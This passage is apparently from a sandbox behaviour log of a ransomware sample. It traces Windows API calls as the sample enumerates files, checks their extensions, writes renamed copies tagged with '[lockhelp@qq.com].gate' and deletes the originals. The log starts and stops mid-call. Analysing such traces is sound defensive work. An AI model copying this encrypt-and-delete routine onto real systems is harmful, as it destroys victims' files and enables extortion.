hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.858] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.859] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.863] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0319.864] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44250b8 | out: hHeap=0x490000) returned 1 [0319.864] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0319.864] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0319.868] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0319.869] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0319.871] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0319.871] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0319.872] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0320.352] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0320.354] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f4098 | out: hHeap=0x490000) returned 1 [0320.381] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f4098 | out: hHeap=0x490000) returned 1 [0320.381] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f4098 | out: hHeap=0x490000) returned 1 [0320.384] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x490000) returned 1 [0320.384] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x490000) returned 1 [0320.384] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x490000) returned 1 [0320.386] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x490000) returned 1 [0320.386] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f4098 | out: hHeap=0x490000) returned 1 [0320.386] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0321.328] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0321.346] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0321.348] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x44550c8, Size=0x80000) returned 0x2517020 [0321.358] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0321.360] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0321.365] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x490000) returned 1 [0321.365] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0321.365] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0321.366] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0321.604] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0321.606] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.608] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.610] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.611] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.617] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.618] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.620] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.622] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.623] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.628] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.630] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.633] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.634] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 [0321.636] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f60f0 | out: hHeap=0x490000) returned 1 Thread: id = 102 os_tid = 0xc18 [0318.081] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3d90740 [0318.082] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3da0748 [0318.082] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed748 [0318.082] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4e5948 [0318.082] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed988 [0318.082] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x3f5d020 [0318.084] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed760 [0318.084] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed760, Size=0x20) returned 0x4e9630 [0318.084] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed760 [0318.084] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed760, Size=0x20) returned 0x4e97e8 [0318.084] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0318.085] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.085] Wow64DisableWow64FsRedirection (in: OldValue=0x350ff50 | out: OldValue=0x350ff50*=0x0) returned 1 [0318.085] lstrlenW (lpString="kernel32.dll") returned 12 [0318.085] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9630 | out: hHeap=0x490000) returned 1 [0318.085] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.085] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e97e8 | out: hHeap=0x490000) returned 1 [0318.085] Sleep (dwMilliseconds=0x64) [0318.358] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0318.358] lstrlenW (lpString="bootspaces.dll") returned 14 [0318.358] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0318.359] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=95648) returned 1 [0318.359] CloseHandle (hObject=0x324) returned 1 [0318.359] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0318.359] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.359] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.575] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0318.575] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0318.575] lstrlenW (lpString=".doc") returned 4 [0318.575] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0318.575] lstrlenW (lpString=".docx") returned 5 [0318.575] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0318.575] lstrlenW (lpString=".pdf") returned 4 [0318.575] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0318.575] lstrlenW (lpString=".xls") returned 4 [0318.575] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0318.575] lstrlenW (lpString=".xlsx") returned 5 [0318.575] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0318.575] lstrlenW (lpString=".ppt") returned 4 [0318.575] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0318.575] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0318.575] lstrlenW (lpString=".zip") returned 4 [0318.575] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0318.575] lstrlenW (lpString=".rar") returned 4 [0318.575] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0318.575] lstrlenW (lpString=".bz2") returned 4 [0318.575] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0318.575] lstrlenW (lpString=".7z") returned 3 [0318.575] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0318.575] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0318.575] lstrlenW (lpString=".dbf") returned 4 [0318.575] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0318.575] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0318.575] lstrlenW (lpString=".1cd") returned 4 [0318.575] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0318.575] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0318.575] lstrlenW (lpString=".jpg") returned 4 [0318.575] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0318.576] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0318.576] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0318.576] lstrlenW (lpString=".doc") returned 4 [0318.576] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0318.576] lstrlenW (lpString=".docx") returned 5 [0318.576] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0318.576] lstrlenW (lpString=".pdf") returned 4 [0318.576] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0318.576] lstrlenW (lpString=".xls") returned 4 [0318.576] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0318.576] lstrlenW (lpString=".xlsx") returned 5 [0318.576] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0318.576] lstrlenW (lpString=".ppt") returned 4 [0318.576] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0318.576] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0318.576] lstrlenW (lpString=".zip") returned 4 [0318.576] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0318.576] lstrlenW (lpString=".rar") returned 4 [0318.576] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0318.576] lstrlenW (lpString=".bz2") returned 4 [0318.576] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0318.576] lstrlenW (lpString=".7z") returned 3 [0318.576] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0318.576] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0318.576] lstrlenW (lpString=".dbf") returned 4 [0318.576] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0318.576] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0318.576] lstrlenW (lpString=".1cd") returned 4 [0318.576] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0318.576] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0318.576] lstrlenW (lpString=".jpg") returned 4 [0318.576] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0318.577] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0318.577] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0318.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0318.960] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19136) returned 1 [0318.960] CloseHandle (hObject=0x364) returned 1 [0318.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0318.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0318.960] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.961] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0318.961] GetLastError () returned 0x0 [0318.961] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0319.055] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0319.056] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.056] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x126, lpOverlapped=0x0) returned 1 [0319.057] SetEndOfFile (hFile=0x368) returned 1 [0319.057] CloseHandle (hObject=0x368) returned 1 [0319.057] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.057] SetEndOfFile (hFile=0x364) returned 1 [0319.058] CloseHandle (hObject=0x364) returned 1 [0319.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.058] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0319.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0319.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0319.058] lstrlenW (lpString=".doc") returned 4 [0319.058] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.058] lstrlenW (lpString=".docx") returned 5 [0319.058] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0319.058] lstrlenW (lpString=".pdf") returned 4 [0319.058] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.058] lstrlenW (lpString=".xls") returned 4 [0319.059] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.059] lstrlenW (lpString=".xlsx") returned 5 [0319.059] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0319.059] lstrlenW (lpString=".ppt") returned 4 [0319.059] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0319.059] lstrlenW (lpString=".zip") returned 4 [0319.059] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.059] lstrlenW (lpString=".rar") returned 4 [0319.059] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.059] lstrlenW (lpString=".bz2") returned 4 [0319.059] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.059] lstrlenW (lpString=".7z") returned 3 [0319.059] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0319.059] lstrlenW (lpString=".dbf") returned 4 [0319.059] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0319.059] lstrlenW (lpString=".1cd") returned 4 [0319.059] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0319.059] lstrlenW (lpString=".jpg") returned 4 [0319.059] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0319.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0319.059] lstrlenW (lpString=".doc") returned 4 [0319.059] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.059] lstrlenW (lpString=".docx") returned 5 [0319.059] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0319.060] lstrlenW (lpString=".pdf") returned 4 [0319.060] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.060] lstrlenW (lpString=".xls") returned 4 [0319.060] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.060] lstrlenW (lpString=".xlsx") returned 5 [0319.060] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0319.060] lstrlenW (lpString=".ppt") returned 4 [0319.060] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0319.060] lstrlenW (lpString=".zip") returned 4 [0319.060] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.060] lstrlenW (lpString=".rar") returned 4 [0319.060] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.060] lstrlenW (lpString=".bz2") returned 4 [0319.060] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.060] lstrlenW (lpString=".7z") returned 3 [0319.060] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0319.060] lstrlenW (lpString=".dbf") returned 4 [0319.060] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0319.060] lstrlenW (lpString=".1cd") returned 4 [0319.060] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0319.060] lstrlenW (lpString=".jpg") returned 4 [0319.060] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.060] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.060] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0319.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.061] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19648) returned 1 [0319.061] CloseHandle (hObject=0x364) returned 1 [0319.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0319.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.061] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, 